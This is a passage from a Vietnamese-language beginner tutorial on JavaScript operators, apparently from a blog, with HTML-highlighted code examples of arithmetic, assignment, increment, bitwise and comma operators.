punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2.5</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">%</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1 (số dư)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">**</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 25 (5 lũy thừa 2)</span></code></pre></div> <p><strong>Nếu các toán hạng không phải là số thì sao?</strong></p> <p>Sẽ có rất nhiều trường hợp xảy ra. Có thể JavaScript sẽ tự chuyển đổi kiểu dữ liệu thành <strong>number</strong> để tính toán số học.</p> <p>Trường hợp, không thể chuyển đổi kiểu dữ liệu thành <strong>number</strong> được thì kết quả có thể sẽ là <strong>string</strong> hoặc <strong>NaN</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"5"</span> <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "52"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"5"</span> <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"5"</span> <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"5"</span> <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2.5</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"5a"</span> <span class="token operator">%</span> <span class="token string">"2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"5b"</span> <span class="token operator">**</span> <span class="token string">"2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <blockquote> <p>Chuyển đổi kiểu dữ liệu là một thứ <strong>khá xoắn não</strong> khi học lập trình JavaScript. Bạn có thể đọc bài viết <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu trong JavaScript</a> để hiểu kỹ hơn về vấn đề chuyển đổi kiểu dữ liệu.</p> </blockquote> <p>Trong ví dụ <code>"5" + 2</code> trên, bạn thấy kết quả là <code>52</code>. Lúc này, <code>+</code> không còn là toán tử số học nữa mà nó trở thành toán tử ghép string.</p> <h3 id="toán-tử-ghép-string-" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-gh%C3%A9p-string-" aria-label="toán tử ghép string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử ghép string (<code>+</code>)</h3> <p>Khi một trong hai toán hạng của toán tử <code>+</code> có kiểu dữ liệu là string thì toán hạng còn lại sẽ bị chuyển thành kiểu string.</p> <p>Và toán tử <code>+</code> sẽ thực hiện việc ghép nối hai string với nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"hello"</span> <span class="token operator">+</span> <span class="token string">" javascript"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello javascript</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">+</span> <span class="token string">"2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 12</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"1"</span> <span class="token operator">+</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1true</span></code></pre></div> <h3 id="toán-tử-chuyển-đổi-kiểu-dữ-liệu-thành-number-" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-chuy%E1%BB%83n-%C4%91%E1%BB%95i-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-th%C3%A0nh-number-" aria-label="toán tử chuyển đổi kiểu dữ liệu thành number permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử chuyển đổi kiểu dữ liệu thành number (<code>+</code>)</h3> <p>Trong các phần trên, toán tử <code>+</code> đang đóng vai trò là <strong>toán tử hai ngôi</strong>. Nhưng khi <code>+</code> là <strong>toán tử một ngôi</strong> thì toán tử <code>+</code> sẽ thực hiện việc chuyển đổi kiểu dữ liệu của toán hạng thành number.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Không ảnh hưởng đến số</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token comment">// Chuyển đổi các kiểu dữ liệu khác thành số</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <blockquote> <p>📝 Trong trường hợp biểu thức có <strong>nhiều toán tử</strong>, bạn cần phải biết thứ tự ưu tiên của từng toán tử để biết chính xác thứ tự thực hiện các phép tính.</p> <p>Trong toán học, chắc bạn đã nghe câu "nhân chia trước, cộng trừ sau" rồi phải không?</p> <p>Ý là phép nhân, chia có độ ưu tiên cao hơn phép cộng và phép trừ. Nên phép nhân, chia sẽ được thực hiện trước.</p> <p>Và khi hai toán tử có cùng độ ưu tiên thì sẽ thực hiện tính toán từ trái sang phải.</p> <p>Đây là bảng thứ tự ưu tiên của các toán tử: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#table">Operator precedence</a>.</p> </blockquote> <h3 id="toán-tử-gán" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-g%C3%A1n" aria-label="toán tử gán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử gán</h3> <p><strong>Toán tử gán</strong> dùng để gán giá trị cho một <a href="/bien-la-gi-bien-trong-javascript/">biến</a> (hoặc <a href="/hang-la-gi-hang-trong-javascript/">hằng</a>).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// gán giá trị cho biến</span> <span class="token keyword">const</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token comment">// gán giá trị cho hằng</span></code></pre></div> <p>Bạn có thể gán giá trị cho biến bằng kết quả của một biểu thức:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">+</span> <span class="token number">2</span> <span class="token operator">+</span> <span class="token number">3</span> <span class="token operator">-</span> <span class="token number">4</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Ngoài ra, bạn có thể gán cùng giá trị cho nhiều biến trên cùng một dòng lệnh:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">,</span> t<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">x <span class="token operator">=</span> y <span class="token operator">=</span> z <span class="token operator">=</span> t <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>t<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span></code></pre></div> <p>Bạn cũng có thể thay đổi giá của một biến và gán lại cho chính nó:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">n <span class="token operator">=</span> n <span class="token operator">+</span> <span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment">// n = 1 + 5 = 6</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">=</span> n <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// n = 6 - 2 = 4</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">=</span> n <span class="token operator">*</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// n = 4 * 3 = 12</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">=</span> n <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// n = 12 / 2 = 6</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">=</span> n <span class="token operator">%</span> <span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment">// n = 6 % 5 = 1</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">=</span> n <span class="token operator">**</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// n = 1 ** 2 = 1</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Để thực hiện việc này, có một cú pháp rút gọn khác như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">n <span class="token operator">+=</span> <span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment">// n = 1 + 5 = 6</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">-=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// n = 6 - 2 = 4</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">*=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// n = 4 * 3 = 12</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// n = 12 / 2 = 6</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">%=</span> <span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment">// n = 6 % 5 = 1</span></span><span class="gatsby-highlight-code-line">n <span class="token operator">**=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// n = 1 ** 2 = 1</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Tương tự hai toán tử <code>+=</code> và <code>-=</code>, nếu bạn muốn tăng / giảm <strong>1 đơn vị</strong> thì JavaScript có toán tử khác tương đương sau đây.</p> <h3 id="toán-tử-tăng-1-đơn-vị--và-giảm-1-đơn-vị---" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-t%C4%83ng-1-%C4%91%C6%A1n-v%E1%BB%8B--v%C3%A0-gi%E1%BA%A3m-1-%C4%91%C6%A1n-v%E1%BB%8B---" aria-label="toán tử tăng 1 đơn vị và giảm 1 đơn vị permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử tăng 1 đơn vị (<code>++</code>) và giảm 1 đơn vị (<code>--</code>)</h3> <p>Toán tử <code>++</code> làm tăng giá trị 1 đơn vị. Toán tử <code>--</code> làm giảm giá trị 1 đơn vị, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">n<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// tương đương với n += 1 hay n = n + 1.</span></span><span class="gatsby-highlight-code-line">n<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token comment">// tương đương với n -= 1 hay n = n - 1.</span></span></code></pre></div> <blockquote> <p><strong>Chú ý</strong>: toán tử <code>++</code> và <code>--</code> chỉ dùng được với biến. Nếu bạn dùng nó trực tiếp với giá trị, kiểu như <code>4++</code> hay <code>--3</code> thì bạn sẽ bị lỗi cú pháp.</p> </blockquote> <p>Ví dụ sau lỗi cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token number">4</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught SyntaxError: Invalid left-hand side expression in postfix operation</span> <span class="token operator">--</span><span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught SyntaxError: Invalid left-hand side expression in postfix operation</span></code></pre></div> <p>Toán tử <code>++</code> và <code>--</code> có hai dạng:</p> <ul> <li>Đặt trước biến <code>++a</code>, <code>--a</code></li> <li>Đặt sau biến <code>a++</code>, <code>a--</code></li> </ul> <p><strong>Hai dạng trên có gì khác nhau?</strong></p> <p>Nếu bạn sử dụng các toán tử trên một cách độc lập thì hai cách viết là hoàn toàn giống nhau.</p> <p>Nhưng nếu bạn sử dụng chúng để gán giá trị cho một biến, hoặc sử dụng các toán tử trên trong một biểu thức thì sẽ có sự khác biệt.</p> <p>Hãy xem hai ví dụ sau.</p> <p><strong>Ví dụ 1</strong>: sử dụng <code>++a</code></p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token operator">++</span>a<span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p><strong>Ví dụ 2</strong>: sử dụng <code>a++</code></p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> x <span class="token operator">=</span> a<span class="token operator">++</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Bạn thấy rằng đáp án của hai ví dụ trên là khác nhau:</p> <ul> <li>Ví dụ 1, <code>++a</code> - tức là <code>a</code> được cộng thêm 1 đơn vị trước thành <code>3</code>, sau đó <code>x = a</code> thực hiện sau nên x có giá trị bằng 3.</li> <li>Ví dụ 2, <code>a--</code> - tức là <code>a</code> được cộng thêm 1 đơn vị sau. Hay nói cách khác <code>x = a</code> thực hiện trước. Nên x có giá trị bằng 2. Sau đó, a mới được tăng lên 1 đơn vị thành 3.</li> </ul> <p><strong>Trong có vẻ khá phức tạp phải không?</strong></p> <p>Thực ra, hai cách trên bạn có thể viết tách biệt thành các câu lệnh khác nhau.</p> <p>Ví dụ 1 trở thành:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">a<span class="token operator">++</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> x <span class="token operator">=</span> a<span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Ví dụ 2 trở thành:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> x <span class="token operator">=</span> a<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">a<span class="token operator">++</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <blockquote> <p>Cách này dài hơn có một dòng thôi. Nhưng rõ ràng là code dễ hiểu hơn rất nhiều. Qua đó, bạn sẽ tránh được những lỗi logic liên quan đến thứ tự thực hiện của các toán tử <code>++</code> và <code>--</code>.</p> </blockquote> <h3 id="toán-tử-bitwise" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-bitwise" aria-label="toán tử bitwise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử bitwise</h3> <p><strong>Toán tử bitwise</strong> là các toán tử áp dụng trên đối tượng <strong>bit</strong> (toán tử bitwise thao tác trên số tự nhiên 32 bit).</p> <p>Đây không phải là những toán tử riêng của JavaScript. Hầu hết các ngôn ngữ lập trình đều có toán tử bitwise.</p> <p>Các toán tử bitwise bao gồm:</p> <ul> <li>Toán tử AND (<code>&#x26;</code>)</li> <li>Toán tử OR (<code>|</code>)</li> <li>Toán tử NOT (<code>~</code>)</li> <li>Toán tử XOR (<code>^</code>)</li> <li>Toán tử dịch trái (<code>&#x3C;&#x3C;</code>)</li> <li>Toán tử dịch phải (<code>>></code>)</li> <li>Toán tử dịch phải (chèn thêm số <code>0</code> ở đầu) (<code>>>></code>)</li> </ul> <blockquote> <p>Trong lập trình web thông thường, mình hầu như không dùng các toán tử bitwise. Bạn có thể đọc thêm bài viết <a href="https://vi.wikipedia.org/wiki/Ph%C3%A9p_to%C3%A1n_thao_t%C3%A1c_bit">phép toán thao tác bit</a> để hiểu hơn về các toán này và sử dụng khi cần.</p> </blockquote> <h3 id="toán-tử-dấu-phẩy" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-d%E1%BA%A5u-ph%E1%BA%A9y" aria-label="toán tử dấu phẩy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử dấu phẩy</h3> <p><strong>Toán tử dấu phẩy</strong> cho phép thực hiện một vài biểu thức (cách nhau bằng dấu phẩy), nhưng kết quả thì chỉ lấy ở biểu thức cuối cùng.</p> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>a <span class="token operator">=</span> a <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> a <span class="token operator">+</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span></code></pre></div> <p>Bạn thấy ở câu lệnh <code>let x = ((a = a + 1), a + 4)</code>, thành phần <code>a = a + 1</code> sẽ thực hiện trước. Sau câu lệnh này, a bằng <code>1+1</code> bằng 2.</p> <p>Tiếp theo, <code>a + 4</code> bằng <code>2 + 4</code> bằng 6. Kết quả này được gán cho biến x. Do đó, mình có kết quả như trên.</p> <p>Toán tử này cũng rất ít khi sử dụng. Vì mình có thể thay thế nó bằng các câu lệnh riêng rẽ như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">a <span class="token operator">=</span> a <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> x <span class="token operator">=</span> a <span class="token operator">+</span> <span class="token number">4</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vậy toán tử là gì?</p> <p><strong>Toán tử</strong> là một công cụ để thao tác với dữ liệu.</p> <p>Khi đó, đối tượng mà toán tử thao tác đến gọi là <strong>toán hạng</strong>. Tùy thuộc vào số lượng <strong>toán hạng</strong> mà JavaScript chia ra thành:</p> <ul> <li>Toán tử một ngôi (<strong>unary</strong>): có một toán hạng</li> <li>Toán tử hai ngôi (<strong>binary</strong>): có hai toán hạng</li> <li>Toán tử ba ngôi (<strong>ternary</strong>): có ba toán hạng</li> <li>Toán tử đa ngôi (<strong>n-ary</strong>): có trên ba toán hạng</li> </ul> <p>Nếu chia theo chức năng thì có một số toán tử cơ bản trong JavaScript là:</p> <ul> <li>Toán tử số học</li> <li>Toán tử gán</li> <li>Toán tử bitwise</li> <li>Toán tử dấu phẩy</li> <li>Toán tử so sánh</li> <li>Toán tử logic</li> <li>Toán tử điều kiện rẽ nhánh 